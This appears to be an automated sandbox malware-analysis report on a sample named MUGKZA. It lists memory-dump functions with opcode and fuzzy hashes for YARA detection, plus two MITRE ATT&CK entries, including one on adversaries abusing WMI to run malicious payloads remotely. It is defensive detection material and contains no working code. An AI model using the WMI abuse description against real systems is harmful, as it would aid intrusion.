Opcode ID: 64a9b6e821d890cdf49f62a2ddfa113aff16ae2cb7c2631a81b75367e99383ae
Instruction ID: 2347777d16a830df67c4226d0df4fc50c13c484789e1a7a9445a72fdf86050b7
Opcode Fuzzy Hash: 64a9b6e821d890cdf49f62a2ddfa113aff16ae2cb7c2631a81b75367e99383ae
Instruction Fuzzy Hash: 2251DD30259A498FCB66FB28FD80D557F61F7B27143108969D0485F33EDB74698ACB90

Function 02801134 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f17185b6b5b6d2096197e26180988f3d1c6dabb674dc6163c5c0c39db519f2d1
Instruction ID: fc88dd60117da0b52b682ce20d1344b409432ff135778d6ba1fa6e69b0d2c8c4
Opcode Fuzzy Hash: f17185b6b5b6d2096197e26180988f3d1c6dabb674dc6163c5c0c39db519f2d1
Instruction Fuzzy Hash: 4751ED34259A898FCB66FB28FD80D557F62F7B17143108968D0485F33EDB74698ACB90

Function 0280EC18 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99311614639b32d2495f26b67e375ef2c01b6343f0159a17fb405ed2178be3cf
Instruction ID: b8b1b4cc8609038c576dd3bce8e9e0fb4dd29d0aa3fcd57bddd6b57aa60b5038
Opcode Fuzzy Hash: 99311614639b32d2495f26b67e375ef2c01b6343f0159a17fb405ed2178be3cf
Instruction Fuzzy Hash: 0B318539E106058FDB15CF64D89469EB7B2FF89310F108929E806EB794DB71AC42CB50

Function 028026FC Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1a0a0732c809d3a2f792e1986763aca039aed369d613783194b93de5118116e
Instruction ID: 4422c7ccc24268541739f99f38ee062dc410d0c1c5ef522f4f286fd8abf63ea7
Opcode Fuzzy Hash: a1a0a0732c809d3a2f792e1986763aca039aed369d613783194b93de5118116e
Instruction Fuzzy Hash: A84104B8D0034DDFDB10CFA9C984ADEBBF5BF48314F148029E909AB254DB746945CB94

Function 0280EC28 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cde54c74caf7fa4b840c51117ed1f2c7a2c97e564c39d7e9eb92608d58de4a5d
Instruction ID: e652a0f162ab183c2392685eab6b1f5427fb856327ec6a6cdddcea4bc076f5cc
Opcode Fuzzy Hash: cde54c74caf7fa4b840c51117ed1f2c7a2c97e564c39d7e9eb92608d58de4a5d
Instruction Fuzzy Hash: 1D318439E106099BDB15CF68D89469EB7F6FF89300F108919E80AEB394DB71EC42CB50

Function 02802708 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1b67364a3fad3f725316a1e53b4a33be788cb0023c23efbcda2e9d90853d919
Instruction ID: a300962181c38de7c7791b2322a22243dc513e7c4e0225e4699c2168e19aa767
Opcode Fuzzy Hash: b1b67364a3fad3f725316a1e53b4a33be788cb0023c23efbcda2e9d90853d919
Instruction Fuzzy Hash: 0141E0B4D003499FDB10DFA9C984ADEBFF5EF48314F208429E809AB254DB75A945CB90

Function 02801393 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3dd30cd28ef564d5c9f110097711499d4d7ae19cfbca285db251784f931cadd
Instruction ID: 8c020de23236cc4bd384a6c7a1ff2593f723cba702544b18ff1d66d21b8a4514
Opcode Fuzzy Hash: f3dd30cd28ef564d5c9f110097711499d4d7ae19cfbca285db251784f931cadd
Instruction Fuzzy Hash: 71219C7C6005008FEBB16769E8D876C3B22EB42325F14496AE40EDB3E1DB689886C752

Function 028016C0 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25c31aeaf7174e23b114146108cdae798b22028ce3478836db8aada64af4eaac
Instruction ID: 0a1af826cb33e58c91ad8dc618b7790d89c6a961578933c027ce18feccd8a71c
Opcode Fuzzy Hash: 25c31aeaf7174e23b114146108cdae798b22028ce3478836db8aada64af4eaac
Instruction Fuzzy Hash: FD21B57C6045018FDB71B768EDC8B2A3765EB51324F100965D00ECF3ADEB28E8858B91

Function 02808C17 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e19b08dbf73f8aebe85391a3e5d4442e8cc0e94b8d12f9b3c65a67f3a712974
Instruction ID: 51ba7b112258877563434cc7afbe8fac2b194253324dab59fbc0945fb8935f7e
Opcode Fuzzy Hash: 5e19b08dbf73f8aebe85391a3e5d4442e8cc0e94b8d12f9b3c65a67f3a712974
Instruction Fuzzy Hash: DE216238E012499BDB55CF65D98469EF7B2FF89300F108629E809EB395DB71D982CB90

Function 02808C18 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bf97ec5c1f1e5a154cf18ec050e23905b52359c7c5ea0d4c8f5791c13b403f7
Instruction ID: 4bd93c87ea5ca609c750de118d5a8b964926a0fc09421f33dcc5515e96faf9c4
Opcode Fuzzy Hash: 0bf97ec5c1f1e5a154cf18ec050e23905b52359c7c5ea0d4c8f5791c13b403f7
Instruction Fuzzy Hash: B3216238E012499BDB55CF65D98469EF7B6FF89300F108629E809EB395DB71E881CB90

Function 02808B08 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db066d112db8c7abf8c057a1ea2e0fac6086b171b620f9283b0c1b8fcfe52f54
Instruction ID: 7e19d9ee597294ed38a2f4862ead4a80ee42d1c8cc42f8d961c76030f2e683e2
Opcode Fuzzy Hash: db066d112db8c7abf8c057a1ea2e0fac6086b171b620f9283b0c1b8fcfe52f54
Instruction Fuzzy Hash: D7219278E04209DBCB14CF64C8A169EB7B2FF89310F10862AEC15FB390EB709981CB51

Function 02804FA9 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31bcb91a041b549f336a9bd515c48e8d1f2aee6f10dd02c50c39db2eaa096e91
Instruction ID: 343b8f23f73d80f527aba00f0fe409645371224724235f2fa1af003047214f0d
Opcode Fuzzy Hash: 31bcb91a041b549f336a9bd515c48e8d1f2aee6f10dd02c50c39db2eaa096e91
Instruction Fuzzy Hash: 44212C787001058FCB58EB78C998B9D77F2FB88614B104469E806EB3A0DB3ADD05CBA1

Function 00F2D030 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954265484.0000000000F2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_f2d000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15527d0a657713d66cf27868c4bb6a55cb34d1cf8e9765cb3aa25f52472ca465
Instruction ID: 2dceecb4141308f773c32b9e1320cffc92071cbf1da4a6e3eadc720bdd36f4a5
Opcode Fuzzy Hash: 15527d0a657713d66cf27868c4bb6a55cb34d1cf8e9765cb3aa25f52472ca465
Instruction Fuzzy Hash: 4B212671504204DFDB14DF14E9C0B26BBA5FB84324F34C66DD94A4B2AAC33AD847EA62

Function 00F2D005 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954265484.0000000000F2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_f2d000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5d7b8513e1b4e032cee026c4783c132dc91b26203ef04f4ba70ec5ef72e2c53
Instruction ID: 794cb43e327629707f7eb8c3f9e6442aad3ef8f942ba5258069a712491828e95
Opcode Fuzzy Hash: d5d7b8513e1b4e032cee026c4783c132dc91b26203ef04f4ba70ec5ef72e2c53
Instruction Fuzzy Hash: 4E215E7150D3C09FC703CB24D994711BF71EB46214F29C5DBD8898F2A7C23A981ADB62

Function 00F2D1F8 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954265484.0000000000F2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_f2d000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d879eca7d30e3c34583074558034df4952c892e1384b5fc2b455a163ee352a5b
Instruction ID: 987f57b6021390b389edcec440ff2cacec739c4e716f53ac90eebc056ee96b58
Opcode Fuzzy Hash: d879eca7d30e3c34583074558034df4952c892e1384b5fc2b455a163ee352a5b
Instruction Fuzzy Hash: 7B213872504200DFDB14DF14E9C4B2ABB65FB84324F30C569E8494B285C376D846EAA2

Function 00F2D3A8 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954265484.0000000000F2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_f2d000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c870bf357cbd2fcd6b188251ab6bc47a1484ee1fc951cb680e290168952abe9e
Instruction ID: 0fb890682dffa1d953a3caa980a18ae1f309994b7f56dc9c96205ab197bda85a
Opcode Fuzzy Hash: c870bf357cbd2fcd6b188251ab6bc47a1484ee1fc951cb680e290168952abe9e
Instruction Fuzzy Hash: 1F213BB1504244DFDB04EF14E5C4B26BB65FB94324F30C56DD9094B356C376E846DB62

Function 028093E0 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02a42497b16279881c1539686a1d1e1c24d9dc3707911b8f0c536297779aca09
Instruction ID: dcc16b1a985835183c5d7505317b9c8b61ff066fed7d0021b44dd4d0f41cf4ed
Opcode Fuzzy Hash: 02a42497b16279881c1539686a1d1e1c24d9dc3707911b8f0c536297779aca09
Instruction Fuzzy Hash: 49218079A105048FEB44DB69C994BAE7BF6EB88B14F148065E505EB3E1DA719C00CB91

Function 02806F98 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd3c613fbcb0de5524ccbab7be6b2ca9ec31705ea12c1f9d41fa9c127191bec1
Instruction ID: 8feafb15ae4d9ede2a24aef0fd227db7cc2dbe2a5266668679b7479fa0498564
Opcode Fuzzy Hash: cd3c613fbcb0de5524ccbab7be6b2ca9ec31705ea12c1f9d41fa9c127191bec1
Instruction Fuzzy Hash: 1A21D438A001049BDB64EB34DC94BAD77BAEB88320F104528E905EB2D8EB31E855CB50

Function 02808B18 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e871a3cc4899d036ed0aae603c2be9febbb7051d4039e317b8dede7206d45e1
Instruction ID: ddbed80a7c417c9412edeeb9a2be14826180e6b0660628365bc153d14e442847
Opcode Fuzzy Hash: 8e871a3cc4899d036ed0aae603c2be9febbb7051d4039e317b8dede7206d45e1
Instruction Fuzzy Hash: F2218778E003199BDB19CF64C9A169EF7B6AF89310F10851AE815F7390DB719885CB50

Function 02801898 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81f9bd90455642f7d556c2bbf1186636bf295bdb7194f814bfee298994ddc169
Instruction ID: 1eda9c7f63dd6efe90ea91e8d66030fcf03e2c089c4aca3725dd410ff915c67b
Opcode Fuzzy Hash: 81f9bd90455642f7d556c2bbf1186636bf295bdb7194f814bfee298994ddc169
Instruction Fuzzy Hash: 91217F38B00205CFDBA4DB64C9987AE77F2AF49315F50046DD44AEB7A0DB359D05CBA1

Function 028018A8 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4b3200693454d435c762f71b7888329df98196f1758b8ebe21a0f387e39ff78
Instruction ID: 87143ce097ae0ca601e3c3010a9e94c17daefa81cdc9aac391e2529b5e37fa55
Opcode Fuzzy Hash: b4b3200693454d435c762f71b7888329df98196f1758b8ebe21a0f387e39ff78
Instruction Fuzzy Hash: D3216038B002058FDB94DB78C9987AE77F6AF49315F500469D04AEB7A4DB36DD00CB91

Function 028016D0 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec0ed0a7ec591dd4ba0222825d8cd57f9dc1e0c19b5ecf6d247991575dc884e7
Instruction ID: cbbbf78dc6811766b9eb39a143a978963acd76ad29495715053e42fb141e8f72
Opcode Fuzzy Hash: ec0ed0a7ec591dd4ba0222825d8cd57f9dc1e0c19b5ecf6d247991575dc884e7
Instruction Fuzzy Hash: 98216A3C6044018FDB72B768EDC8B297766EB41324F104925E00ECF3ADDB28EC858B91

Function 02804FB8 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6e7db07da618b7ac9c22e47e0abd5e44ce088771fb62187ac7a5088c80a60e0
Instruction ID: 0c242965d5422de42fd81e07a95a946fdac65b1c6880929240852d2f32a58b30
Opcode Fuzzy Hash: e6e7db07da618b7ac9c22e47e0abd5e44ce088771fb62187ac7a5088c80a60e0
Instruction Fuzzy Hash: 05211D78700109CFDB58EB78C958B9D77F2BB48714F104469E406EB3A0DB359D04CBA1

Function 02809098 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98468ce043a2c42e8b6bf1dc23876d7cc90ea6f23be862251acd997f6074fa6a
Instruction ID: 40d300ad4d41fb06b0e3dc0af9adefd9fc6d8b7956d8b7271ee6362848845c4f
Opcode Fuzzy Hash: 98468ce043a2c42e8b6bf1dc23876d7cc90ea6f23be862251acd997f6074fa6a
Instruction Fuzzy Hash: 2811C279F002054BCF745EA99CC473EB6AAE789A10F20042ED60DC7396D738D84487D2

Function 02800848 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb362320970bfde026c3fc618e2827f1534bbba829c0f8adfc6e0064fdf705a6
Instruction ID: 82b150657cb9eb669f4fbb3a5cfaa9b0c3d3cf0fa5c58a406650a7c3b3439a62
Opcode Fuzzy Hash: bb362320970bfde026c3fc618e2827f1534bbba829c0f8adfc6e0064fdf705a6
Instruction Fuzzy Hash: EC116D3CB002085FEFA4AA788C8476E7291FB45215F204939D00EDF392DB65CC858BD5

Function 02800838 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf6e993ac5a7838bd30b1a1f98416f1cc8078c94da2e78a82841b66797bf225b
Instruction ID: 0944ceddc35fab29d43c384fdcd868a395d11ab7cbe9073e6dd2e1c0993dede3
Opcode Fuzzy Hash: bf6e993ac5a7838bd30b1a1f98416f1cc8078c94da2e78a82841b66797bf225b
Instruction Fuzzy Hash: E2119E3CA082088FEFB156759C947BE7651FB42315F24497AD00EDF2C2DB65C8858BD6

Function 028017EB Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3339848e3cc03bb35f18e8fb337a72341033dc1c7e0785e2e97e335fb61396dc
Instruction ID: 5c955c381470e9264163d2f9943cc461b3663c204d92741f2f4177bf8a9257ed
Opcode Fuzzy Hash: 3339848e3cc03bb35f18e8fb337a72341033dc1c7e0785e2e97e335fb61396dc
Instruction Fuzzy Hash: 3911C479F002119FCFA1BB75984866E7BB6EB48660F100929E90DD7344EB3889019B91

Function 028014B7 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb89b3150dc333c9553ca8400a3879d71a93ae6998abbbc76b639c651d868cc1
Instruction ID: d1e1b9d6830640ac01d7793097e15abd11a160d8d03bd9a7f483133a1c95eec0
Opcode Fuzzy Hash: eb89b3150dc333c9553ca8400a3879d71a93ae6998abbbc76b639c651d868cc1
Instruction Fuzzy Hash: 0701843DA002148FCF61EFB898D429DBBF6EB48325B10007AD80EEB280E731D841CB91

Function 028014B8 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb74930c524fb8da587e4772af03d85536f8361401d510abadcef841ba0ba563
Instruction ID: 2c24fc935248b83ada0cc6123dc1dfcc5f1240040f2944e504cd7cca53dbd03c
Opcode Fuzzy Hash: eb74930c524fb8da587e4772af03d85536f8361401d510abadcef841ba0ba563
Instruction Fuzzy Hash: 5A01443DA006558FCF61EFB9989429DBBF6EB48325B14447AD80EEB281E731D841CB91

Function 00F2D1F3 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954265484.0000000000F2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_f2d000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72d23902bf60047e6ac5528eaef86f122a9a091f4bdaa5726a35430d0a81cb07
Instruction ID: 7de9a0f5426913c7d5d648dec7dc7a14501775145aed056044ed65ad387b0fd4
Opcode Fuzzy Hash: 72d23902bf60047e6ac5528eaef86f122a9a091f4bdaa5726a35430d0a81cb07
Instruction Fuzzy Hash: 8411B275904280CFDB12CF14E5C4B55FF71FB94324F24C6AAD8494B696C33AD80ADB91

Function 00F2D3A3 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954265484.0000000000F2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_f2d000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: 2b378209b6c9e5afc4def5505ee4a9b2dba135fa6b5352191fa8f9957d84bc53
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: D711D075904284CFDB01DF10D5C4B15BF61FB94324F24C6AED9494B256C33AE84ADB52

Function 02809248 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65c910b38972ad0f25b6216eea23dd18fce44aec3ba223819e5dbccd2a12cd15
Instruction ID: 076ede69a783ded69248b7ddeb2de186916a051dfb0d0c7135ec49c4727365ba
Opcode Fuzzy Hash: 65c910b38972ad0f25b6216eea23dd18fce44aec3ba223819e5dbccd2a12cd15
Instruction Fuzzy Hash: D2014035A002048FCB14DE95D98468ABBA5FF84310F548164D80C5B29AEBB0ED45CBA1

Function 028071A0 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d96407c9ec81dc55cdf5d9608774f17b76116894788a0c74ad9ca3933e916660
Instruction ID: 1078dfee33e69eeacc51d1b20dadd5eeb48910225fa117cab8d4060bdc71696b
Opcode Fuzzy Hash: d96407c9ec81dc55cdf5d9608774f17b76116894788a0c74ad9ca3933e916660
Instruction Fuzzy Hash: BD012938A00208CFD764EB74D998BA877B2EB89215F144068E106DB3E4DB34AD82DB00

Function 02801544 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 290866647ea7d269974977a74512f6e2c150a60948c407b02a3e40acc2c047ad
Instruction ID: 29912e9bd14064ce3de68a7db574d664b1ab6f5146bdf49351cf4b424d87a1fc
Opcode Fuzzy Hash: 290866647ea7d269974977a74512f6e2c150a60948c407b02a3e40acc2c047ad
Instruction Fuzzy Hash: 82F0F63FA04250CFDB529BA8ACD52ACBBB1EA553257590097D80BEF291D334D842DB11

Function 02807AA8 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52d36a35a0f6ea49794c8502bed58b687873313ded588ebd23264a47dc0ce32e
Instruction ID: 7342546e60dffe80c5a5684abdaf005af826907d30a444e3da60d85fd4e605e4
Opcode Fuzzy Hash: 52d36a35a0f6ea49794c8502bed58b687873313ded588ebd23264a47dc0ce32e
Instruction Fuzzy Hash: 2B01A230604205CFCB25EFA8FA8099CBBB2EF41300B4086B9C4199F2E9EF355E459B94

Function 02807AB8 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 576a06b35a1b76144ee4b91c7d4d9907863de136feeef18d33d56d12f0ff4663
Instruction ID: 4efbe64b534519719dbf13bb2921f922f087a15eace364213e84bccca51c0821
Opcode Fuzzy Hash: 576a06b35a1b76144ee4b91c7d4d9907863de136feeef18d33d56d12f0ff4663
Instruction Fuzzy Hash: 88F044349041099FCB15FFA8FA8599DBBB2EB40300F508679C00D9B2A8EF31AE449B90

Function 0280720C Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71bc9bfc07daf5bd230962054c683e8dcc399bd31de00cfc914caa6bb7b80545
Instruction ID: 85c7d9963162bb3887d986593b59ba2dd25a4fdc79bfd79229bc24caa2eda82b
Opcode Fuzzy Hash: 71bc9bfc07daf5bd230962054c683e8dcc399bd31de00cfc914caa6bb7b80545
Instruction Fuzzy Hash: 9BC08C2DD0800CA6CB2066A8B8482ECBB20C3C822AF000066E22A8119047A4A4E6DA22

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

